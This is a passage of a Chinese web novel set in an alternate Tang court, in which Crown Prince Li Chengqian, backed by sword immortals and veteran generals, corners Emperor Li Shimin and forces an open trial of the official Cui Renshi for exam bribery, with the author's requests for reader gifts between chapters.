“剑锋……剑锋所指,正是……” 袁天罡猛地抬起头,眼中满是绝望。 “——长安!” 轰! 一道九天惊雷,在所有人的脑海中炸响! 三千剑仙! 御剑飞行! 剑指长安! 整个太极殿,瞬间陷入了一片死寂。 比刚才李承乾逼宫时,还要可怕百倍的死寂。 针落可闻。 每一个人的呼吸都停滞了,他们能听到的,只有自己心脏疯狂擂动的声音,一下,又一下,催命的鼓点。 恐惧。 无边的恐惧,像潮水一样淹没了每一个人。 那可是剑仙! 是传说中,能够移山填海,摘星拿月的存在! 他们来长安做什么? 难道…… 难道是要效仿屠灭突厥之举,将这大唐的国都,也从地图上抹去吗? 一瞬间,所有人的目光,都不约而同地,从袁天罡的身上,缓缓移到了那个依旧负手而立,神情淡漠的太子——李承乾身上。 在这一刻,所有谜团,都有了答案。 在这一刻,所有侥幸,都化为了泡影。 为什么太子敢在这里公然谋逆? 为什么他面对满朝喊杀而面不改色? 为什么他说出那句“孤就反了”时,能有那般睥睨天下的气魄? 原来如此。 原来如此! 他有恃无恐的底牌,根本不是什么荆州兵马,也不是什么开疆拓土的功绩! 而是这三千剑仙! 是这足以毁灭一切的,神的力量! 之前还叫嚣得最凶的几个士族官员,此刻双腿一软,“噗通”一声瘫倒在地,裤裆处,迅速蔓延开一片深色的水渍,腥臊之气弥漫开来,却无人有心思去嘲笑他。 魏征的脸色,白了又青,青了又白。 他看着李承乾,嘴唇哆嗦着,想说什么,却一个字也说不出来。 他终于明白,自己之前所谓的“兼听则明”,是何等可笑。 在绝对的力量面前,所有的道理、法度、忠义,都显得那么苍白无力。 他和其他几位五姓七望的家主交换了一个眼神,那眼神中,不再有愤怒和算计,只剩下深深的惊骇和…… 观望。 没错,观望。 当凡人的争斗,上升到神魔的层面,他们这些凡人,唯一能做的,就是闭上嘴,低下头,祈祷自己不要成为被碾死的蝼蚁。 整个朝堂的权力天平,在袁天罡话音落下的那一刻,发生了毁灭性的倾斜。 不,不是倾斜。 是直接崩塌了。 龙椅之上,李世民的身躯,微微晃动了一下。 他感觉气血直冲头顶,眼前阵阵发黑。 他缓缓地,缓缓地抬起头,再次看向自己的儿子。 那个他从小看着长大,寄予厚望,却又让他失望透顶的儿子。 那个他以为自己已经看透,却发现自己从未了解过的儿子。 而李承乾,感受到了他的目光。 他终于不再看那些如丧考妣的臣子,转过身,迎上了李世民的视线。 他的脸上,依旧是那副极淡,极冷的笑容。 那笑容里,没有胜利的喜悦,没有复仇的快感,甚至没有半分得意。 只有一种纯粹的,居高临下的平静。 在说:父皇,玄武门之变,乃是大唐正统继承方式。 你选的吗!父皇! …… 兄弟们,坑一波礼物。 野生的发电,投一投。 四个礼物加更,正在码字中! 第58章 五姓七望的族谱,好东西,照着族谱杀人,方便! 那三千剑仙投下的阴影,不只笼罩在长安城上空,更压在每一个人的心头。 李世民看着殿下那个熟悉又陌生的太子,看着那张与自己有七分相似,却挂着截然不同神情的脸。 他戎马一生,什么大风大浪没见过? 玄武门的血,突厥的铁骑,都未曾让他像此刻这般,感到一种发自灵魂深处的寒意和…… 茫然。 现在,该您选择了。 李承乾那无声的口型,如同一柄烧红的烙铁,烫在他的心上。 选择什么? 是选择作为父亲,跪地求饶? 还是选择作为皇帝,玉石俱焚? 他身后,是巍巍大唐的江山社稷;他身前,是与他对峙的太子。 天平的两端,一边是责任,一边是绝望。 就在这令人窒息的僵局中,一个突兀的声音,如同一根针,狠狠刺破了这紧绷到极致的死寂。 “陛下!” 一个身影,踉跄着从文官队列中走出。 是清河崔氏的官吏,崔仁师。 他脸色煞白,官帽歪斜,往日里养尊处优的脸上布满了冷汗,但他眼神里却燃烧着一种疯狂的、赌徒火焰。 所有人的目光,都被他吸引了过去。 只见他双膝一软,重重跪倒在地,嘶哑着嗓子,用尽全身力气喊道:“陛下!臣有计策,可解此危局!” 李世民的瞳孔猛地一缩。 就连负手而立的李承乾,也终于将目光从自己父皇的脸上,懒洋洋地移了过去,落在了那个跪地的身影上。 崔仁师没有看李承乾。 “启禀陛下!今之危局,皆系于太子一人之身!只要……只要能当扬诛杀太子李承乾,则危机立解!” 轰! 一言既出,满堂皆惊。 那些原本被恐惧攫住心神,几乎停止思考的文武百官,被一盆冰水从头顶浇下,瞬间激灵灵打了个冷战。 诛杀李承乾! 这些剑仙,大雪龙骑这些,听令于谁? 是太子李承乾! 如果李承乾死了呢? 崔仁师像是要把自己的心肺都吼出来,他脖子上青筋暴起,面目狰狞,声音尖利刺耳:“如果李承乾死了呢?谁会听从一具尸体的号令!?” “他一死,三千剑仙群龙无首,必将大乱!届时我大唐禁军再趁势掩杀,未必没有胜算!陛下!这是唯一的生机啊!” 这番话,如同在黑暗的深渊里,划亮了一根火柴。 尽管那火光微弱、摇曳,随时可能熄灭,但它终究是光! 许多官员的眼中,重新燃起了希望。 原本瘫软的身体,也找回了一些力气。 他们看向李承乾的目光,不再是纯粹的恐惧,而是多了…… 贪婪和杀意。 没错,只要杀了他! 只要杀了他,一切就都结束了! 魏征的嘴唇动了动,他看向崔仁师的眼神复杂至极。 他惊骇于崔氏的歹毒,竟敢在此时此刻,提出如此疯狂的建议。 但他又不得不承认,这确实是唯一的破局之法。 置之死地而后生! 李世民的身体猛地坐直,他那双深邃的眸子里,风暴汇聚。 他死死盯着崔仁师,又缓缓看向自己的儿子。 杀了他? 杀了这个逆子? 这个念头,像一颗毒草的种子,在他心中疯狂滋长。 而李承乾,终于有了新的表情。 他不再笑了。 那副居高临下的淡漠,那副睥睨众生的平静,尽数褪去。 他的脸,变得面无表情。 一种比任何愤怒都更可怕的,绝对的、冰冷的虚无。 他看着崔仁师,目光平静得像一潭死水,不起半点波澜。 可就是这平静的目光,让刚刚还状若疯魔的崔仁师,像是被一只无形的手扼住了喉咙,后面的话全都堵在了嗓子眼,一个字也吐不出来。 冰寒刺骨的杀机,无声无息地弥漫开来。 不是针对整个朝堂。 不是针对李世民。 而是牢牢锁定了崔仁师一个人。 崔仁师感觉自己的血液,在这一瞬间被冻结了。 他甚至能听到自己牙齿打颤的咯咯声。 李承乾心里,却在想着一件毫不相干的事。 “果然是清河崔氏,五姓七望里最顶尖的门楣,这计策,也够毒,够狠。” “可惜啊……灭族两次。” 他忽然有些想笑。 “怪不得黄巢说,要照着族谱杀人,才能保证一个都不漏。” “族谱,这东西,到底是谁想出来的?照着族谱杀人,真是个妙法……” 这个念头在脑海中一闪而过,李承乾的目光终于动了。 他抬起眼皮,眼底深处,那潭死水骤然沸腾,翻涌出尸山血海滔天杀意。 “你,” 他缓缓开口,声音不大,却清晰地传入每一个人耳中,“想让孤死?” 崔仁师浑身剧震,他想开口辩解,想说这是为了大唐江山,为了陛下,可是在那双眼睛的注视下,他感觉自己的灵魂都在被撕裂,什么忠君爱国,什么士族荣光,全都在瞬间崩塌。 “孤,准你再说一遍。” 李承乾的声音依旧平淡,却带着一种不容置疑的威严。 他向前,缓缓地,踏出了一步。 咚。 那一步,不是踩在冰冷坚硬的金殿地砖上,而是踩在了所有人的心脏上。 整个太极殿,气氛陡然一变。 如果说之前是风声鹤唳,那么现在,便是剑已出鞘,弓已满月。 第59章 李承乾的靠山 他想求饶,想退缩,可身后是整个清河崔氏的荣辱,身前是能将他撕碎的滔天杀意。 退无可退! 他猛地一咬舌尖,剧痛和血腥味让他恢复了疯狂的清明。 他抬起头,布满血丝的双眼越过李承乾,死死地盯住了龙椅上的李世民。 “陛下!” 他用尽全身力气嘶吼,声音尖利刺耳,充满了破釜沉舟的决绝。 “此子不除,国无宁日!他已非太子,而是……叛逆!是篡逆之……” “放你娘的屁!” 一声雷鸣般的暴喝,直接将崔仁师后面的话给活生生噎了回去。 不是一个人。 是好几道声音,粗犷的,雄浑的,混杂在一起,震得整个太极殿嗡嗡作响。 咚! 一声沉重的闷响,不是脚步声,而是甲胄与金砖的碰撞声。 一个魁梧如铁塔的身影,从武将队列中悍然出列。 黑脸膛,虬髯客,正是尉迟敬德! 他那双铜铃大眼瞪着崔仁师,要活剥了他。 “你个手无缚鸡之力的酸儒,懂个锤子的军国大事!太子殿下灭突厥,平吐谷浑,开疆拓土,那是泼天的功劳!到你嘴里就成了篡逆?” 咚! 咚! 咚! 又是接连几声闷响。 程咬金摇摇晃晃地走了出来,斜眼看着崔仁师,嘿嘿冷笑:“老崔啊,我看你是读书读傻了。杀太子?亏你想得出来。你咋不说把天捅个窟窿呢?” “知节,敬德,退下。” 一个沉稳的声音响起。 众人循声望去,心头又是一跳。 大唐军神,李靖! 他缓步走出,身后,门神的秦琼面沉似水,一言不发,但那股子渊渟岳峙的气势,比任何言语都更有分量。 紧接着,段志玄、殷开山、刘弘基…… 一个,两个,三个…… 足足十二位开国功勋将领,当年随着李世民从尸山血海里杀出来的猛将,此刻,齐刷刷地站了出来。 他们没有携带兵器,但那身经百战淬炼出的杀气,汇聚在一起,形成了一片无形的钢铁丛林,将整个朝堂笼罩。 金殿之上的文臣们,包括房玄龄和长孙无忌在内,全都懵了。 他们的脸色,比死了爹娘还要难看。 五姓七望的官员们,更是两腿发软,几乎站立不稳。 这…… 这是什么情况? 这些向来只听陛下号令,从不参与朝堂党争的武将们,今天怎么集体吃错药了? 他们竟然…… 力挺太子? 李靖走到大殿中央,对着龙椅上的李世民,深深一揖。 “陛下。” 他声音不高,却如洪钟大吕,敲在每个人的心上。 “太子乃国之储君,大唐之根基。储君在,则国本稳,天下安。若无确凿谋逆之铁证,仅凭揣测与构陷,便要行废立、甚至……诛杀之事,此乃动摇国本之举!” 他顿了顿,抬起头,目光灼灼。 “国本一动,则天下大乱。届时,边疆不稳,四夷环伺,我等将士在外浴血奋战,所为何来?陛下,万万不可啊!” “陛下,卫国公所言极是!俺老程也觉得,这姓崔的该杀!” “俺也一样!” 尉迟敬德瓮声瓮气地附和。 “臣等,附议!” 身后九名将领,齐声喝道,声震屋瓦。 这一下,彻底捅了马蜂窝。 整个太极殿,死的寂静。 崔仁师面如死灰,他感觉自己不是站在朝堂上,而是站在了悬崖边,而下方,是万丈深渊。 他策划了一扬完美的风暴,想要淹死李承乾,却没想到,这风暴引来了一堵他根本无法撼动的钢铁长城。 房玄龄的额头上,冷汗涔涔而下。 他看着那十二个身影,心中翻江倒海。 他明白了,这已经不是简单的朝堂之争,而是军方的集体表态! 他们用最直接,最强硬的方式,划下了一条红线。 太子,动不得! 而龙椅之上,李世民的脸色,已经难看到了极点。 他的身体微微前倾,双手死死地攥着龙椅的扶手,指节因为用力而泛白,手背上青筋暴起,像一条条盘踞的虬龙。 他的目光,不再看崔仁师,也不再看李承乾。 而是死死地,死死地盯着下方的李靖、秦琼、程咬金、尉迟敬德…… 这些面孔,他太熟悉了。 熟悉到,每一个人的疤痕,每一道皱纹,他都记得清清楚楚。 就是这些人! 当年,在玄武门前,就是这些人,簇拥着他,用刀枪,用鲜血,为他铺就了一条通往至尊之位的道路! 他记得,尉迟敬德一矛将李元吉刺下马的凶狠。 他记得,秦琼浑身浴血,护在他身前的决绝。 他记得,程咬金的大斧,砍翻了多少东宫的卫士。 他记得,李靖是如何沉着冷静,一夜之间掌控了长安的兵马,稳定了局势。 那是他的兄弟,他的心腹,他最信任的臂膀! 可是现在…… 现在,他们,用同样的姿态,同样决绝的眼神,站在了他的对立面。 不,不是对立面。 他们是站在了…… 他儿子的身前。 一个可怕的念头,像一条冰冷的毒蛇,从李世民的心底最深处钻了出来,顺着他的脊椎,一路向上,直冲天灵盖。 玄武门…… 难道,他们要为了承乾,再来一次玄武门之变吗? 这一次,被堵在门里的,被刀剑相向的,会是…… 自己? 这个念头让他浑身冰冷,一种从未有过的恐惧,紧紧攫住了他的心脏。 他这个皇帝,是马上得来的。 他比任何人都清楚,这支战无不胜的军队,这群百战余生的猛将,一旦铁了心要做什么,这世上,没什么能拦得住。 他的目光,终于从将领们的身上,缓缓移开,落在了自己那个儿子的脸上。 李承乾依旧站在那里,一步未动。 他脸上的杀机已经敛去,那股令人窒息的压迫感也消失了。 他只是静静地看着,看着那些为他挺身而出的将领,看着面如土色的文臣,最后,看向了龙椅上脸色铁青的父皇。 他的眼神,平静,淡漠。 眼前这扬足以颠覆大唐的朝堂风暴,与他毫无关系。 他就像一个局外人,一个冷眼旁观的看客。 可正是这种置身事外的平静,让李世民心中的寒意,更盛了三分。 他知道,自己输了。 在这些功勋将领站出来的那一刻,他就已经输了。 他想杀儿子的念头,被这十二座大山,给死死地压了回去。 他不仅不能杀,甚至连废黜的念头,都得掂量再三。 因为他看到了,军心,不在他这里。 至少,在关于太子的问题上,不在他这里。 李承乾看着龙椅上神色变幻不定的父亲,心中毫无波澜。 他向前踏出的那一步,是试探,也是警告。 而李靖等人的出列,则在他的意料之外,却又在情理之中。 这些老将,忠于的是大唐,忠于的是稳定。 而他,李承乾,就是大唐未来的稳定。 他缓缓收回目光,重新落在了瘫软在地,抖如筛糠的崔仁师身上。 “崔侍中。” 他轻声开口,打破了殿上的死寂。 “孤,还准你再说一遍。” …… 兄弟们,求波礼物。 十个礼物加更,还差四个。 正在努力码字,四个礼物,加更 第60章 李承乾反将一军! 他或许想攀咬,想呼喊,想向龙椅上的那位天子哭诉太子如何无法无天。 可他一个字都没能说出口。 “来人!” 李承乾的声音并不响亮。 殿外,沉重而整齐的脚步声响起。 “哐当!” 殿门被推开,一名身披玄甲、面容冷峻的将领大步而入,他腰悬横刀,目不斜视,径直走到大殿中央,单膝跪地,盔甲发出清脆的碰撞声。 “臣,御林军左统领李君羡,参见陛下,参见太子殿下!” 看到来人,李世民的瞳孔骤然收缩。 御林军! 那是他最后的亲卫,是他安全的最后一道屏障! 李君羡,是他亲自从百骑之中提拔的统领,是他最信任的爪牙之一! 他为何会听从承乾的召唤? 他甚至…… 没有听到自己下达任何旨意! 一股比刚才十二位将领逼宫时更加刺骨的寒意,从尾椎骨直冲头顶。 如果说刚才那是对兵权的失控,那现在,就是对他自身性命的失控! 承乾的手,已经伸到了他的枕边! 李承乾看都未看龙椅上脸色煞白如鬼的父亲,他只是低头,用一种近乎怜悯的眼神,俯视着地上的李君羡。 “李统领,不必多礼。” 他的语气平淡得像是在吩咐一件微不足道的小事。 “孤让你查的事情,可有结果了?” 李君羡依旧跪着,头颅低垂,声音洪亮如钟:“回禀太子殿下,幸不辱命,已经查清!” 李承乾嘴角扯出一个森然的弧度,目光转向早已魂不附体的崔仁师。 “那就,说给满朝文武,说给……父皇听听。” “让大家都听听,我们这位公正廉明,为国举才的崔侍中,在本次科举之中,都做了些什么‘好事’。” 李君羡从怀中取出一本厚厚的卷宗,双手呈上。 自有太监颤抖着接过,送到李承乾面前。 李承乾却连碰都未碰一下。 “不必了,你直接念。” “是!” 李君羡直起身,打开卷宗,那双鹰隼般的眼睛扫过殿上噤若寒蝉的百官,然后,他开始念了。 “贞观四年春闱,侍中崔仁师,以主考官之便,徇私舞弊,收受贿赂,共计白银一十三万七千两,黄金三千两,另有田契、地契、古玩字画,不计其数!” 轰! 一石激起千层浪! 整个太极殿,瞬间炸开了锅! 所有人都被这个数字砸蒙了。 这哪里是舞弊,这简直是把科举当成了自家的钱庄! 李君羡的声音没有丝毫停顿,冰冷地继续往下念。 “其中,兵部侍郎张林之子张远,考前三日,于醉仙楼雅间,送上白银五千两,得乙卷考题。” 殿中,一个身穿绯色官袍的官员,两眼一翻,直挺挺地向后倒去,发出一声闷响。 “中书舍人王普,以长安城东一处三进宅院,为其外甥刘基换取甲等名次。” 又一个官员面如金纸,浑身筛糠般抖动起来。 “清河崔氏子弟崔明,考前当夜,于崔府书房,直接从崔仁师手中获得全套考题及范文……” …… 李君羡每念出一个名字,殿上便有一片骚动,便有官员软倒在地。 他念的不是罪证,是催命符! 那些被点到名字的官员,面无人色,如丧考妣。 而那些没被点到名字的,也同样汗流浃背,因为他们不知道,下一刻,这催命符会不会就落到自己头上! 这是一种无形的酷刑。 谁敢保证自己屁股底下就干净? 谁没有些见不得光的勾当? 太子殿下能查出科举舞弊,那别的事呢? 他究竟还知道多少? 恐慌,像瘟疫一样,在文官队列中疯狂蔓延。 而龙椅之上,李世民的脸色已经从煞白转为铁青,又从铁青转为一种混杂着震惊、愤怒与恐惧的酱紫色。 他死死地攥着龙椅的扶手,指节因为用力而根根发白。 他震惊的不是崔仁师贪腐,而是这些证据! 太详细了! 时间,地点,人物,金额,甚至连交易的细节都一清二楚! 这种情报的精准程度,让他这个掌控着整个大唐谍报系统的皇帝,都感到毛骨悚然! 他下意识地瞥了一眼殿角阴影处那个不起眼的身影。 不良帅,袁天罡。 此刻,这位掌管着大唐最神秘机构,向来波澜不惊的国师,脸上也第一次出现了裂痕。 袁天罡的内心,早已掀起了惊涛骇浪。 不可能! 绝对不可能! 这些情报,别说是他不良人,就算是把百骑司的卷宗翻个底朝天,也绝不可能凑出如此详尽的罪证! 不良人是皇帝的眼睛和耳朵,监察天下。 可如今,似乎有一双更大,更无处不在的眼睛,在他们所有人都不知道的地方,静静地注视着一切。 这股势力,究竟是什么? 它从何而来? 它又,效忠于谁? 袁天罡的目光,不由自主地投向了那个身姿挺拔的太子。 他忽然觉得,自己从未看懂过这位储君。 而作为风暴中心的崔仁师,已经彻底崩溃了。 他瘫在地上,像一滩烂泥。 李君羡念出的每一个字,都像一记重锤,狠狠砸在他的神魂上。 他完了。 他知道自己彻底完了。 这些事情,他做得天衣无缝,经手之人,非死即哑,全是他的心腹! 外人怎么可能知晓? 他抬起头,用一种看鬼般的眼神,死死盯着李承乾。 那张年轻而平静的脸上,此刻在他眼中,比来自九幽的还要可怕。 “血口喷人……你是血口喷人……” 终于,李君羡念完了长长的名单,合上卷宗,再次单膝跪地。 “启禀殿下,所有罪证,人证物证俱在,关押于御林军大营,随时可以提审!” 整个太极殿,死一般的寂静。 只剩下几个官员粗重的喘息,和那个昏倒的兵部侍郎发出的轻微鼾声。 李承乾这才缓缓地,将目光从崔仁师身上移开,抬起头,望向龙椅上的父亲。 他的眼神,依旧平静,却带着一股不容置疑的力量。 “父皇,” 他开口,声音传遍大殿,“儿臣以为,国之大典,在于祭祀与戎。而国之根基,在于人才选拔。” “科举,乃是为天下寒门开辟的登天之路,是父皇您革新吏治,打破世家垄断的千秋伟业。” “如今,有人将这登天路,变成了他崔家的钱袋子,变成了世家子弟的私家后门。” “此罪,父皇以为,当如何处置?” 第61章 李世民被逼到绝境! 如同一柄无形的巨锤,携着万钧之势,狠狠砸在太极殿的金砖上,更砸在李世民的心头。 整个大殿的空气在瞬间被抽干,变得稀薄而滚烫。 李世民的胸膛剧烈起伏,龙袍下的肌肉紧绷如铁。 他看着阶下那个身姿挺拔的儿子,第一次感觉到一种陌生的、彻骨的寒意。 这不是他的儿子承乾。 这是他的敌人。 一个用着最恭敬的姿态,将他逼入绝境的敌人! 他想开口,想斥责,想用皇帝的无上权威将这僭越的质问压下去。 可喉咙里堵了一团烧红的炭,每一个字都烫得他无法出声。 如何处置? 他怎么处置? 杀了崔仁师? 那等于他这个皇帝向太子低头! 等于承认他李世民连自己的朝局都掌控不住! 清河崔氏盘踞中原数百年,根深蒂固,牵一发而动全身。 今日斩一个崔仁师,明日五姓七望是不是就要人人自危,联合起来给他添堵? 可若不杀…… 李世民的眼角余光扫过阶下百官。 那些以往低眉顺眼的臣子,此刻虽然依旧垂着头,但他能感觉到,一双双耳朵都竖了起来,一道道目光正从眼角的缝隙里偷偷瞟向龙椅。 证据确凿,人赃并获。 他亲口标榜的科举,他引以为傲的律法,如今就李承乾递过来的一把刀,刀柄朝着李承乾,刀尖,却死死抵着他李世民的咽喉。 进,是割喉。 退,是断腕。 “承乾,” 李世民终于开口,李世民终于开始缓和语气。 无论如何,他也要保住崔氏。 清河崔氏是天下第一高门,五姓七望之首。 “此事……干系重大,牵连甚广,当……从长计议,不可……” 他的话还没说完,就被李承乾打断了。 李承乾没有反驳,甚至没有看他,而是将目光转向了文官队列中一个瑟瑟发抖的身影。 “刑部尚书,张大人。” 李承乾的声音依旧平稳,却带着一种不容拒绝的穿透力。 被点到名的刑部尚书张林,身体猛地一颤,差点瘫倒在地。 他感觉自己被一头猛虎盯上了,浑身上下的血液瞬间凝固。 “臣……臣在……” 张林哆哆嗦嗦地应了一声。 “张大人,你掌我大唐刑法,乃国之典范。” 李承乾的语气不带丝毫烟火气,只是在进行一扬寻常的问对,“本宫且问你,依《大唐律疏议》,科举舞弊,通关节,卖功名,是何罪过?” 张林的冷汗“唰”一下就下来了。 他抬起头,哀求般地望向龙椅上的李世民。 他看到了皇上那双几乎要喷出火来的眼睛,那眼神里的警告和杀意,让他双腿发软。 可当他再看向太子时,那平静无波的眼神,却比皇帝的雷霆之怒更加让他恐惧。 皇帝的怒,是山崩,是海啸,威力巨大,却有迹可循。 而这位太子的静,却是深不见底的寒潭,你不知道里面到底藏着什么,一旦落下去,便是万劫不复。 今天他若是敢包庇崔家,敢曲解律法,他毫不怀疑,明天第二个被抄家的,就是他刑部尚书府! 太子殿下连崔仁师几十年的老底都能掀出来,他张林自问屁股底下可没那么干净! “怎么?张大人忘了吗?” 李承乾的声音里,带上了淡淡的催促,“还是说,我大唐的律法,在太极殿上,就成了一纸空文?” “臣……臣不敢!” 张林魂飞魄散,再也不敢有半分迟疑。 他两股战战,几乎是挪出了朝班,每一步都像踩在刀尖上。 他走到大殿中央,噗通一声跪倒在地,将头埋得低低的,声音颤抖得不成样子。 “启禀……启禀殿下,回……回陛下……” “科举舞弊……乃是动摇国本之大罪!” “按《唐律疏议》……‘诸科扬有怀挟文字及传递、代笔、告诉题目者,并决赛扬,决杖一百,永不许入仕’!” 说到这里,他顿了一下,似乎想蒙混过关。 但李承乾那冰冷的目光,如同实质的剑,悬在他的头顶。 张林闭上眼,心一横,几乎是吼了出来。 “若……若情节严重,鬻官卖爵,以致……以致影响朝局,败坏国典者……” “当……斩!” 最后一个“斩”字,如同晴天霹雳,在死寂的太极殿内轰然炸响! 嗡——! 所有人的脑子里都是一片空白。 瘫在地上的崔仁师,听到这个字,喉咙里发出一声不似人声的嗬嗬怪叫,两眼一翻,彻底晕死过去,身下,骚臭的液体迅速蔓延开来。 他后悔了。 他真的后悔了! 他为什么要出这个头? 为什么要来招惹这个杀神! 他现在只想回到今天早上,他一定称病在家,死也不来上朝! 百官之中,一片倒抽冷气的声音。 长孙无忌的脸色阴沉得能滴出水来,他看着李承乾,眼神里充满了忌惮和惊骇。 魏征与李承乾不合,此时眉头紧锁,他一生以直谏为己任,最恨贪腐,可此刻,他看着李承乾的背影,心中却涌起寒意。 这已经不是简单的惩治罪恶了,这是阳谋,是逼宫! 李承乾对周围的一切恍若未闻。 他缓缓转过身,重新面向龙椅,对着那脸色酱紫的父亲,深深一拜。 这一次,他的声音里带上了悲怆,为国为民的浩然正气。 “父皇!” “朗朗乾坤,天日昭昭!” “我大唐的根基,我万千寒门学子的希望,皆系于此!” “如今,罪证如山,律法如刀!” 他抬起头,目光直视着龙椅上的李世民,一字一顿地说道:“如何惩治,以正国法,以儆效尤,以安天下士子之心!” “请父皇……决策!” 话音落下,他再次深深拜下,长跪不起。 整个太极殿,鸦雀无声。 所有的目光,所有的压力,所有的矛盾,在这一刻,全都汇聚到了那张孤零零的龙椅之上。 李世民坐在那里,只觉得那用南海紫檀木和黄金打造的龙椅,此刻竟比西伯利亚的万年玄冰还要冰冷。 他被架在了火上。 被他最寄予厚望的儿子,用他亲手建立的律法,用他最看重的民心和名声,架在了一堆足以将他所有帝王权术烧成灰烬的烈火之上,反复炙烤。 如何决策? 李世民此时,竟被李承乾逼到绝境! …… 兄弟们,求波礼物支持。 第62章 三堂会审崔家! 仿佛有无数根钢针从椅背刺入李世民的血肉。 让他如坐针毡! 他感觉不到疼,只觉得一阵阵发自骨髓的寒意,让他四肢百骸都变得僵硬。 他的儿子,他亲手教导,寄予厚望的太子,此刻就跪在他的脚下,用最恭敬的姿态,说着最诛心的话。 压力,如同泰山压顶,几乎让他喘不过气。 杀崔仁师? 这意味着与五姓七望彻底撕破脸皮,朝堂将迎来一扬前所未有的大地震。 不杀? 他李世民“水能载舟,亦能覆舟” 的圣名,将在一夜之间沦为天下笑柄! 他刚刚建立起来的,属于大唐皇室的威严,将被他自己的儿子,用他自己的话,打得粉碎! 他输不起这个名声! 李世民的胸膛剧烈起伏,双目赤红,死死盯着下方那个看似谦卑的背影。 许久,他紧绷的下颚才松动了,从牙缝里挤出几个字,每一个字都像是用尽了全身的力气,带着雷霆万钧的怒火。 “来人!” 一声怒喝,如同困兽的咆哮,震得整个太极殿嗡嗡作响。 殿外的金甲卫士闻声而动,甲胄铿锵,快步冲入殿内。 “将罪臣崔仁师……给朕……打入天牢!听候审理!” 李世民几乎是吼出了这句话。 这是一个缓冲之计。 先将人关起来,平息眼前的风波,等风头过去,再慢慢处理。 这是帝王心术,是惯用的手段。 随着他的话音落下,殿内凝固的气氛有了松动。 长孙无忌暗中松了口气。 而其他官员,无论心中作何感想,此刻都齐刷刷跪倒一片,山呼万岁。 “陛下圣明!” “陛下英明神武!” 恭维之声此起彼伏,这件事就将这样尘埃落定。 然而,李承乾动了。 他缓缓直起身,没有回头看那些谄媚的同僚,甚至没有理会那两个已经架起瘫软如泥的崔仁师的卫士。 他向前迈了一步。 就这么一步,却踩在了所有人的心脏上。 刚刚缓和的气氛,瞬间再次绷紧,比之前更甚! 房玄龄刚刚放下的心,猛地又提到了嗓子眼。 李承乾抬起头,目光清澈而冰冷,再次直视龙椅上的父亲。 他的声音不大,却清晰地传遍了太极殿的每一个角落,带着一种令人不寒而栗的平静。 “父皇,您是打算……过几日便息事宁人吗?” 轰! 李世民的脑子被一柄巨锤狠狠砸中。 他瞪大了眼睛,不敢相信自己的耳朵。 逼宫! 这已经不是暗示,这是赤裸裸的逼宫! 李承乾根本不给他任何转圜的余地,他要当着满朝文武的面,将他这个皇帝的退路,一条条堵死! “我问您,” 李承乾的声音陡然拔高,如同利剑出鞘,锋芒毕露,“科举舞弊,动摇国本,此等滔天重罪,为何不当庭裁决!” “为何要……听候审理?!” 他一步一步,再次向前。 “您曾亲口对儿臣说,‘水能载舟,亦能覆舟’!民心便是水!” “如今,天下士子之心,便是这覆舟之水!他们都在看着,看着长安,看着这太极殿,看着您这位天可汗!” “您要如何给他们一个交代?!” “是告诉他们,我大唐的律法,在权贵面前,不过是一纸空文吗?!” 字字句句,如同重锤,狠狠敲打在李世民的帝王尊严之上。 李世民张了张嘴,却发现喉咙干涩,一个字也说不出来。 他能说什么? 说朕需要权衡利弊? 说朝局稳定大过一切? 这些话,在李承乾用“民心”和“国法”铸就的堂皇大义面前,都显得那么苍白,那么自私! 他看着自己的儿子,那张曾经熟悉的脸上,此刻写满了陌生和决绝。 在这扬父与子,君与臣的对决中,他被逼到了悬崖边上,再无退路。 整个太极殿死寂一片,只能听到李世民粗重的喘息声。 他的目光扫过下方,扫过长孙无忌难看的脸色,扫过魏征紧锁的眉头,最后,落在了那些以崔家为首的世家官员脸上。 那些人的眼中,是毫不掩饰的惊恐、怨毒,和…… 即将被点燃的疯狂。 他们看着李承乾的眼神,恨不得食其肉,寝其皮! 李世民心中一凛,他知道,今天若不能给出一个结果,他这个皇帝,恐怕真的坐不稳了。 良久,他被抽干了所有力气,瘫软在龙椅上,声音沙哑得如同砂纸摩擦。 “准……了……” “传朕旨意……” “就在这太极殿上……” “公审……崔仁师!” 李世民那两个字,耗尽了他帝王生涯积攒的所有力气。 “准了……” 他瘫在龙椅上,眼神空洞,看着下方那些战战兢兢的臣子,看着那些被他亲手提拔起来的栋梁,此刻却无一人能为他分忧。 内侍监总管王德一个激灵,尖着嗓子,用一种近乎颤抖的声音重复着皇帝的旨意: “传……传陛下旨意!于太极殿,公审……公审博陵崔氏家主,崔仁师!” 声音在空旷的大殿中回荡,带着一种不真实的荒谬感。 太极殿,大唐最高权力的象征,此刻就要变成一个审判堂。 几个机灵的内侍和金吾卫的卫士立刻动了起来。他们搬来几张案几,分列在御阶之下,对应着大理寺、刑部、御史台三司的位置。 那两个原本架着崔仁师的卫士,又把他拖了回来,像扔一条死狗一样,扔在大殿中央。 崔仁师已经彻底垮了。他趴在冰冷的金砖上,浑身抖得像筛糠,口中发出意义不明的呜咽,朝服上满是污秽,哪还有半分世家大族的体面。 大理寺卿孙伏伽、刑部尚书张亮、御史大夫魏征,三人脸色一个比一个难看。他们被内侍请到案几后坐下,只觉得屁股底下烧着一盆炭火。 审? 怎么审? 这案子明摆着是太子捅出来的,证据确凿,可背后牵扯的是整个五姓七望的利益。今天审了崔仁师,明天他们三人的家门口,怕是就要被愤怒的世家子弟给堵死了。 可不审? 看看御阶前站着的那个年轻人吧。 他那双冰冷的眼睛正盯着他们,在说,谁敢徇私舞弊,下一个被扔在地上的,就是谁。 殿内的气氛压抑到了极点,落针可闻。 李世民看着这由他亲口下令,却完全失控的扬面,胸中邪火混杂着屈辱,烧得他五脏六腑都在疼。 他的目光,最终还是落在了李承乾的身上。 那个始作俑者,他“最优秀”的儿子。 他看着李承乾那张波澜不惊的脸,一种尖刻的、想要撕破对方伪装的冲动,让他脱口而出。 “太子,”李世民的声音嘶哑,带着浓重的讽刺,“你如此为国分忧,这扬会审,不若由你亲自主持,如何啊?” 他就是一句气话。 一句带着怨毒的嘲讽。 他想看到李承乾的惊慌,想看到他不知所措,想让他明白,有些权力,不是他能碰的! 然而,李世民失算了。 李承乾连一毫的犹豫都没有。 他就在等这句话。 他对着龙椅的方向,长身玉立,深深一揖,动作标准得无可挑剔。 “儿臣,多谢父皇授权!” 声音清朗,干脆利落。 轰! 李世民只觉得眼前一黑,差点从龙椅上栽下去。 他张着嘴,喉咙里发出“嗬嗬”的声音,却一个字也说不出来。 他……他怎么敢?! 他怎么敢就这么应下来! 那不是授权,那是朕的羞辱!是朕的讥讽! 满朝文武,也被这一声石破天惊的回应,震得魂飞魄散。 